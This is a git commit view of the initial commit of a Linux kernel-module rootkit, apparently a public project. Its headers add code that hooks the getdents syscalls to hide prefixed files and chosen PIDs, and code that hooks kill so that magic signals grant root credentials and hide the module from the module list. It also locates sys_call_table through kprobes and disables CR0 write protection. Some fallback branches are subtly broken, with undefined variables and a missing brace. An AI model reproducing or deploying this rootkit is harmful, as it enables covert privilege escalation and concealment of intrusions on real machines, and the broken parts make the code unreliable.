Initial Commit

This commit is contained in:
2022-12-23 02:44:32 +01:00
commit e354db3645
11 changed files with 672 additions and 0 deletions

24
include/cred_helper.h Normal file
View File

@ -0,0 +1,24 @@
#include <linux/cred.h>
#ifndef CRED_HELPER_H
#define CRED_HELPER_H
static void get_root(void) {
struct cred* root;
root = prepare_creds();
if (root == NULL) {
return;
}
root->uid.val = 0;
root->gid.val = 0;
root->euid.val = 0;
root->egid.val = 0;
root->suid.val = 0;
root->sgid.val = 0;
root->fsuid.val = 0;
root->fsgid.val = 0;
commit_creds(root);
}
#endif

View File

@ -0,0 +1,23 @@
#include <linux/types.h>
#include <linux/export.h>
#include "rootkit_utils.h"
#ifndef HIDE_SHOW_HELPER_H
#define HIDE_SHOW_HELPER_H
static short hidden = 0;
static struct list_head * previous_module;
static void hideme(void) {
previous_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
hidden = 1;
}
static void showme(void) {
list_add(&THIS_MODULE->list, previous_module);
hidden = 0;
}
#endif

50
include/rootkit_utils.h Normal file
View File

@ -0,0 +1,50 @@
#include <linux/version.h>
#include <linux/list.h>
#include <linux/slab.h>
#include <linux/kernel.h>
#ifndef ROOTKIT_UTILS_H
#define ROOTKIT_UTILS_H
// ===== CONFIG ======
// File prefix that excludes entries from getdents64
#define DIRECTORY_EXCLUSION_PREFIX "rtkit_exclude"
// Signal code that drops a root shell
#define ROOT_SHELL_SIGNAL_CODE 64
// Signal code that toggles rootkit visablity
#define TOGGLE_MODULE_HIDE_SIGNAL_CODE 65
// Signal code to change the hidden pid
#define TOGGLE_PID_HIDE_SIGNAL_CODE 66
// // Default port to hide, if equal to 0, hides none
// #define PORT_HIDE_DEFAULT_PORT 0
// ===================
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
typedef asmlinkage long (*tt_syscall)(const struct pt_regs *);
#endif
struct linked_list_node {
void *data;
struct list_head list;
};
static LIST_HEAD(excluded_pids);
void append_node(struct list_head *list, void * data) {
struct linked_list_node *entry;
entry = kmalloc(sizeof *entry, GFP_KERNEL);
if (!entry)
return;
entry->data = data;
INIT_LIST_HEAD(&entry->list);
list_add_tail(&entry->list, list);
}
#endif

View File

@ -0,0 +1,130 @@
#include <linux/dirent.h>
#include "syscall_table_fetch.h"
#include "rootkit_utils.h"
#ifndef SYSCALL_GETDENTS64_HOOK_H
#define SYSCALL_GETDENTS64_HOOK_H
#ifdef PTREGS_SYSCALL_STUBS
static tt_syscall original_getdents64;
#else
typedef asmlinkage long (*tt_syscall_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
static tt_syscall_getdents64 original_getdents64;
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage int getdents64_hook(const struct pt_regs *regs) {
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents64(regs);
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#else
static asmlinkage int getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents64(fd, dirp, count);
dirent_ker = (struct linux_dirent64*) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if(current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#endif
#endif

View File

@ -0,0 +1,136 @@
#include <linux/dirent.h>
#include "syscall_table_fetch.h"
#include "rootkit_utils.h"
#ifndef SYSCALL_GETDENTS_HOOK_H
#define SYSCALL_GETDENTS_HOOK_H
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
#ifdef PTREGS_SYSCALL_STUBS
static tt_syscall original_getdents;
#else
typedef asmlinkage long (*tt_syscall_getdents)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
static tt_syscall_getdents original_getdents;
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage int getdents_hook(const struct pt_regs *regs) {
struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents(regs);
dirent_ker = (struct linux_dirent *) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if(current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#else
static asmlinkage int getdents_hook(unsigned int fd, struct linux_dirent *dirp, unsigned int count) {
struct linux_dirent *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
long error;
int ret = original_getdents(fd, dirp, count);
dirent_ker = (struct linux_dirent*) kzalloc(ret, GFP_KERNEL);
if ((ret <= 0) || (dirent_ker == NULL)) {
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
while (offset < ret) {
current_dir = (void *) dirent_ker + offset;
if (memcmp(DIRECTORY_EXCLUSION_PREFIX, current_dir->d_name, strlen(DIRECTORY_EXCLUSION_PREFIX)) == 0) {
if(current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
struct linked_list_node *node;
int found = 0;
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp((char *) node->data, current_dir->d_name, strlen((char *) node->data)) == 0) {
found = 1;
break;
}
}
if (found) {
if (current_dir == dirent_ker) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *) current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
} else {
previous_dir = current_dir;
}
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if (error) {
kfree(dirent_ker);
return ret;
}
kfree(dirent_ker);
return ret;
}
#endif
#endif

100
include/syscall_kill_hook.h Normal file
View File

@ -0,0 +1,100 @@
#include <linux/types.h>
#include "syscall_table_fetch.h"
#include "rootkit_utils.h"
#include "hide_show_helper.h"
#include "cred_helper.h"
#ifndef SYSCALL_KILL_HOOK_H
#define SYSCALL_KILL_HOOK_H
#ifdef PTREGS_SYSCALL_STUBS
static tt_syscall original_kill;
#else
typedef asmlinkage long (*tt_syscall_kill)(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
static tt_syscall_kill original_kill;
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage int kill_hook(const struct pt_regs * regs) {
int signal = (int) regs->si;
if (signal == ROOT_SHELL_SIGNAL_CODE) {
get_root();
return 0;
} else if (signal == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
if (hidden == 0) {
hideme();
} else {
showme();
}
return 0;
} else if (signal == TOGGLE_PID_HIDE_SIGNAL_CODE) {
char * strpid;
struct linked_list_node *node;
struct linked_list_node *target = NULL;
strpid = (char *) kzalloc(20, GFP_KERNEL);
if ((strpid == NULL)) {
return 0;
}
snprintf(strpid, 20, "%d", (int) regs->di);
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
target = node;
break;
}
}
if (target) {
list_del(&target->list);
kfree(target->data);
kfree(target);
} else {
append_node(&excluded_pids, strpid);
}
return 0;
}
return original_kill(regs);
}
#else
static asmlinkage int kill_hook(pid_t pid, int sig) {
if (sig == ROOT_SHELL_SIGNAL_CODE) {
get_root();
return 0;
} else if (sig == TOGGLE_MODULE_HIDE_SIGNAL_CODE) {
if (hidden == 0) {
hideme();
} else {
showme();
}
return 0;
} else if (sig == TOGGLE_PID_HIDE_SIGNAL_CODE) {
char * strpid;
struct linked_list_node *node;
struct linked_list_node *target = NULL;
strpid = (char *) kzalloc(20, GFP_KERNEL);
if ((strpid == NULL)) {
return 0;
}
snprintf(strpid, 20, "%d", (int) regs->di);
list_for_each_entry(node, &excluded_pids, list) {
if (memcmp(node->data, strpid, strlen(strpid)) == 0) {
target = node;
break;
}
}
if (target) {
list_del(&target->list);
kfree(target->data);
kfree(target);
} else {
append_node(&excluded_pids, strpid);
}
return 0;
}
return original_kill(pid, sig);
#endif
#endif

View File

@ -0,0 +1,54 @@
#include <linux/syscalls.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/fdtable.h>
#include <linux/proc_ns.h>
#include <asm/ptrace.h>
#include <linux/dirent.h>
#include "rootkit_utils.h"
#ifndef SYSCALL_TABLE_FETCH_H
#define SYSCALL_TABLE_FETCH_H
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
#endif
unsigned long cr0;
static unsigned long *__sys_call_table;
unsigned long *get_syscall_table(void) {
unsigned long *syscall_table;
#ifdef KPROBE_LOOKUP
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
}
static inline void write_cr0_forced(unsigned long val) {
unsigned long __force_order;
asm volatile("mov %0, %%cr0" : "+r"(val), "+m"(__force_order));
}
static inline void protect_memory(void) {
write_cr0_forced(cr0);
}
static inline void unprotect_memory(void) {
write_cr0_forced(cr0 & ~0x00010000);
}
#endif